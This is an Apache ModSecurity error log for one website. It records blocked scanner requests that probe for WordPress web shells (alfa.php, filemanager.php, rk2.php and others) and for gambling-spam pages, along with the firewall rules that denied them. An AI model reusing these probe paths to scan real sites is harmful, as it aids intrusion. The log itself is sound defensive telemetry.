[Mon Mar 30 00:02:32.943156 2026] [:error] [pid 23168:tid 23201] [client 54.37.84.47:42646] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aclNGGP8p0yRL8ot_2_LagAAAgQ"]
[Mon Mar 30 00:02:34.981358 2026] [:error] [pid 23137:tid 23144] [client 54.37.84.47:42648] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aclNGhaWQa7LdZ_qGFYRHAAAAYU"]
[Mon Mar 30 00:02:36.860629 2026] [:error] [pid 23284:tid 23308] [client 54.37.84.47:53984] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aclNHIzBujdPHsq7wyQHswAAApY"]
[Mon Mar 30 00:02:38.879455 2026] [:error] [pid 23168:tid 23214] [client 54.37.84.47:53998] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aclNHmP8p0yRL8ot_2_LegAAAhE"]
[Mon Mar 30 00:02:40.893930 2026] [:error] [pid 23168:tid 23219] [client 54.37.84.47:54004] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aclNIGP8p0yRL8ot_2_LfgAAAhY"]
[Mon Mar 30 00:02:42.917826 2026] [:error] [pid 32255:tid 32302] [client 54.37.84.47:54014] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aclNImnfn-AtRoMbquwr0gAAAEs"]
[Mon Mar 30 00:02:44.783517 2026] [:error] [pid 23284:tid 23308] [client 54.37.84.47:54022] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aclNJIzBujdPHsq7wyQH3gAAApY"]
[Mon Mar 30 00:02:46.796595 2026] [:error] [pid 32255:tid 32295] [client 54.37.84.47:59428] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aclNJmnfn-AtRoMbquwr3AAAAEQ"]
[Mon Mar 30 00:02:48.807833 2026] [:error] [pid 23284:tid 23300] [client 54.37.84.47:59434] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aclNKIzBujdPHsq7wyQH9wAAAo4"]
[Mon Mar 30 00:02:50.811385 2026] [:error] [pid 23284:tid 23303] [client 54.37.84.47:59442] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aclNKozBujdPHsq7wyQIBQAAApE"]
[Mon Mar 30 00:02:52.839136 2026] [:error] [pid 23284:tid 23286] [client 54.37.84.47:59458] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aclNLIzBujdPHsq7wyQIGQAAAoA"]
[Mon Mar 30 00:02:54.851063 2026] [:error] [pid 23284:tid 23289] [client 54.37.84.47:59468] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aclNLozBujdPHsq7wyQIKQAAAoM"]
[Mon Mar 30 00:02:56.854465 2026] [:error] [pid 23137:tid 23156] [client 54.37.84.47:44532] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aclNMBaWQa7LdZ_qGFYRIQAAAZE"]
[Mon Mar 30 00:02:58.861470 2026] [:error] [pid 8818:tid 8833] [client 54.37.84.47:44536] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aclNMiCDvotZNSF0FBr-MQAAAUs"]
[Mon Mar 30 00:03:00.868491 2026] [:error] [pid 32257:tid 32334] [client 54.37.84.47:44548] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aclNNCE3TArOFrUtgWqCeAAAAJA"]
[Mon Mar 30 00:03:02.736715 2026] [:error] [pid 23167:tid 23181] [client 54.37.84.47:44552] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aclNNhIAHJCFaHff3_fjNwAAAcs"]
[Mon Mar 30 00:03:04.743942 2026] [:error] [pid 23284:tid 23290] [client 54.37.84.47:44554] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aclNOIzBujdPHsq7wyQIcwAAAoQ"]
[Mon Mar 30 00:03:06.759154 2026] [:error] [pid 32257:tid 32338] [client 54.37.84.47:54020] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aclNOiE3TArOFrUtgWqChQAAAJQ"]
[Mon Mar 30 00:03:08.755427 2026] [:error] [pid 32257:tid 32319] [client 54.37.84.47:54028] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aclNPCE3TArOFrUtgWqChwAAAIE"]
[Mon Mar 30 02:33:10.574085 2026] [:error] [pid 23284:tid 23294] [client 40.87.104.188:2263] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/function.php"] [unique_id "aclwZozBujdPHsq7wyRgaAAAAog"]
[Mon Mar 30 02:33:11.401773 2026] [:error] [pid 32255:tid 32313] [client 40.87.104.188:2252] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/function.php"] [unique_id "aclwZ2nfn-AtRoMbquxxKgAAAFY"]
[Mon Mar 30 02:33:12.236895 2026] [:error] [pid 23284:tid 23310] [client 40.87.104.188:2273] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/function.php"] [unique_id "aclwaIzBujdPHsq7wyRgawAAApg"]
[Mon Mar 30 02:33:13.058299 2026] [:error] [pid 32255:tid 32304] [client 40.87.104.188:2457] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/function.php"] [unique_id "aclwaWnfn-AtRoMbquxxOAAAAE0"]
[Mon Mar 30 03:07:13.280916 2026] [:error] [pid 23284:tid 23288] [client 20.163.104.123:17609] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "acl4YYzBujdPHsq7wyRyRgAAAoI"]
[Mon Mar 30 03:07:13.597202 2026] [:error] [pid 23284:tid 23292] [client 20.163.104.123:17631] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "acl4YYzBujdPHsq7wyRySAAAAoY"]
[Mon Mar 30 03:07:13.999620 2026] [:error] [pid 23284:tid 23293] [client 20.163.104.123:17629] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "acl4YYzBujdPHsq7wyRyTAAAAoc"]
[Mon Mar 30 03:07:14.346495 2026] [:error] [pid 23284:tid 23300] [client 20.163.104.123:17637] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "acl4YozBujdPHsq7wyRyTwAAAo4"]
[Mon Mar 30 03:07:14.669862 2026] [:error] [pid 23284:tid 23294] [client 20.163.104.123:17559] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kure.php"] [unique_id "acl4YozBujdPHsq7wyRyUgAAAog"]
[Mon Mar 30 03:07:15.049399 2026] [:error] [pid 23284:tid 23286] [client 20.163.104.123:17651] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/msy.php"] [unique_id "acl4Y4zBujdPHsq7wyRyVQAAAoA"]
[Mon Mar 30 03:07:21.612278 2026] [:error] [pid 23284:tid 23294] [client 20.163.104.123:17600] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/msy.php"] [unique_id "acl4aYzBujdPHsq7wyRyawAAAog"]
[Mon Mar 30 03:07:21.963824 2026] [:error] [pid 8818:tid 8823] [client 20.163.104.123:17537] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/msy.php"] [unique_id "acl4aSCDvotZNSF0FBopugAAAUE"]
[Mon Mar 30 03:07:22.815562 2026] [:error] [pid 23284:tid 23304] [client 20.163.104.123:17610] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/msy.php"] [unique_id "acl4aozBujdPHsq7wyRycQAAApI"]
[Mon Mar 30 03:07:26.190416 2026] [:error] [pid 23137:tid 23141] [client 20.163.104.123:17565] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fgd.php"] [unique_id "acl4bhaWQa7LdZ_qGFYxcgAAAYI"]
[Mon Mar 30 03:07:27.091213 2026] [:error] [pid 32254:tid 32275] [client 20.163.104.123:17573] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fgd.php"] [unique_id "acl4b6ug2IHuyGgCTn-BRgAAAAs"]
[Mon Mar 30 03:07:27.411126 2026] [:error] [pid 23168:tid 23206] [client 20.163.104.123:17648] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7T6.php"] [unique_id "acl4b2P8p0yRL8ot_28LZAAAAgk"]
[Mon Mar 30 03:07:27.730179 2026] [:error] [pid 32255:tid 32303] [client 20.163.104.123:17545] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7T6.php"] [unique_id "acl4b2nfn-AtRoMbqux_6AAAAEw"]
[Mon Mar 30 03:07:28.049089 2026] [:error] [pid 32257:tid 32321] [client 20.163.104.123:17639] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "acl4cCE3TArOFrUtgWoMcgAAAIM"]
[Mon Mar 30 03:07:29.415972 2026] [:error] [pid 8818:tid 8834] [client 20.163.104.123:17644] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "acl4cSCDvotZNSF0FBopwQAAAUw"]
[Mon Mar 30 03:07:29.756567 2026] [:error] [pid 23168:tid 23216] [client 20.163.104.123:17540] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "acl4cWP8p0yRL8ot_28LZgAAAhM"]
[Mon Mar 30 03:07:30.070295 2026] [:error] [pid 23168:tid 23208] [client 20.163.104.123:17552] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "acl4cmP8p0yRL8ot_28LaAAAAgs"]
[Mon Mar 30 03:07:30.416504 2026] [:error] [pid 23168:tid 23211] [client 20.163.104.123:17607] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/include.php"] [unique_id "acl4cmP8p0yRL8ot_28LagAAAg4"]
[Mon Mar 30 03:07:31.262381 2026] [:error] [pid 32359:tid 32363] [client 20.163.104.123:17641] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/include.php"] [unique_id "acl4cwMb8G3UzfQP3Wha7wAAAMI"]
[Mon Mar 30 03:07:32.106375 2026] [:error] [pid 23168:tid 23210] [client 20.163.104.123:17638] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/include.php"] [unique_id "acl4dGP8p0yRL8ot_28LcAAAAg0"]
[Mon Mar 30 03:07:34.859114 2026] [:error] [pid 32257:tid 32319] [client 20.163.104.123:17624] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "acl4diE3TArOFrUtgWoMhgAAAIE"]
[Mon Mar 30 03:07:35.205344 2026] [:error] [pid 23167:tid 23178] [client 20.163.104.123:17632] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "acl4dxIAHJCFaHff3_cW2QAAAcg"]
[Mon Mar 30 03:07:37.660525 2026] [:error] [pid 32255:tid 32295] [client 20.163.104.123:17657] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "acl4eWnfn-AtRoMbqux_9AAAAEQ"]
[Mon Mar 30 03:07:37.989714 2026] [:error] [pid 23284:tid 23299] [client 20.163.104.123:17547] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "acl4eYzBujdPHsq7wyRykgAAAo0"]
[Mon Mar 30 03:07:38.303358 2026] [:error] [pid 23284:tid 23306] [client 20.163.104.123:17634] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php/wp-includes/ID3/rk2.php"] [unique_id "acl4eozBujdPHsq7wyRykwAAApQ"]
[Mon Mar 30 03:07:38.640631 2026] [:error] [pid 23284:tid 23308] [client 20.163.104.123:17550] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php/wp-includes/ID3/rk2.php"] [unique_id "acl4eozBujdPHsq7wyRylwAAApY"]
[Mon Mar 30 03:07:39.993176 2026] [:error] [pid 32254:tid 32281] [client 20.163.104.123:17633] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php/wp-includes/ID3/rk2.php"] [unique_id "acl4e6ug2IHuyGgCTn-BSgAAABE"]
[Mon Mar 30 03:07:40.321309 2026] [:error] [pid 32257:tid 32322] [client 20.163.104.123:17567] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php/wp-includes/ID3/rk2.php"] [unique_id "acl4fCE3TArOFrUtgWoMjgAAAIQ"]
[Mon Mar 30 03:07:40.867956 2026] [:error] [pid 23284:tid 23296] [client 20.163.104.123:17653] [client 20.163.104.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "acl4fIzBujdPHsq7wyRymgAAAoo"]
[Mon Mar 30 03:07:41.201808 2026] [:error] [pid 32257:tid 32334] [client 20.163.104.123:17549] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/classwithtostring.php"] [unique_id "acl4fSE3TArOFrUtgWoMlQAAAJA"]
[Mon Mar 30 03:07:41.533830 2026] [:error] [pid 32359:tid 32384] [client 20.163.104.123:17560] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/install.php"] [unique_id "acl4fQMb8G3UzfQP3Wha8wAAANc"]
[Mon Mar 30 03:07:41.894853 2026] [:error] [pid 32257:tid 32320] [client 20.163.104.123:17546] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/install.php"] [unique_id "acl4fSE3TArOFrUtgWoMlgAAAII"]
[Mon Mar 30 03:07:42.238628 2026] [:error] [pid 23167:tid 23184] [client 20.163.104.123:17628] [client 20.163.104.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/install.php"] [unique_id "acl4fhIAHJCFaHff3_cW3AAAAc4"]
